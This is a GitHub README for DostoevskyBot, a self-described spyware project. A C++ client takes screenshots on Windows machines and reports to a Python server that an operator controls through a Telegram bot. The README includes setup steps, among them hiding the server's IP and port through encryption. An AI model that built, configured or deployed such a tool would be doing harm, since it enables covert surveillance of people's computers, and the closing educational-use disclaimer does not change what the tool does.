DostoevskyBot is an automated spyware tool that utilizes a Telegram bot to accept specific commands from the user and receive screenshots from a Windows system. This project is still in development and should not be used for illegal activities or any form of unethical monitoring.
DostoevskyBot is a project aimed at creating a Python server and a Telegram bot that interact to provide remote monitoring capabilities. The primary functionality includes accepting commands via Telegram and capturing screenshots from a Windows machine using C++.
- Python Server: Handles communication between the Telegram bot and the Windows system.
- Telegram Bot: Accepts specific commands from the user.
- Screenshot Capture: Captures screenshots from the Windows system using C++.
To set up DostoevskyBot, follow these steps:
-
Clone the repository:
git clone https://github.com/yusufsaka007/DostoevskyBot.git cd DostoevskyBot
-
Install the required Python packages:
pip3 install python-telegram-bot
-
Set up the Telegram bot:
- Create a new Telegram bot and obtain the API token from BotFather.
- Create a
token.txt
file and add your API token:
-
Build the C++ Spyware:
- This Spyware uses OpenCV which will be changed soon in order to decrease the size of the executable and make it completely static.
- This Spyware will use an encrypted IP and Port. You can use the encrypt.py to get the encrypted IP and Port. Change manually:
python3 encrypt.py <ip> <port>
- Change automatically (Searches for client.h and write the file with the appropriate values):
python3 encrypt.py <ip> <port> -c
- Ensure the compiled executable is accessible to the Python server.
-
Add your telegram Id to user_ids.txt. You can find out your Id by using userinfobot
-
Start the Python server:
python3 trigger.py <ip> <port>
-
Interact with the Telegram bot using the predefined commands to capture screenshots and perform other monitoring tasks.
We welcome contributions to enhance the functionality and security of DostoevskyBot. Please fork the repository and create a pull request with your improvements. I would like to add an original user GUI for mobile devices. If you would like to contribute to this project by building a simple user interface you may contact me.
- @yusufsaka007 on X.com
- yusufsaka5481@gmail.com
This project is licensed under the MIT License. See the LICENSE file for details.
DostoevskyBot is intended for educational and ethical purposes only.
- Do not use this tool for illegal activities or unauthorized monitoring.
- The developers are not responsible for any misuse or damage caused by this tool.
- This project is still in development, and its functionality may change over time.
By using DostoevskyBot, you agree to comply with all applicable laws and regulations.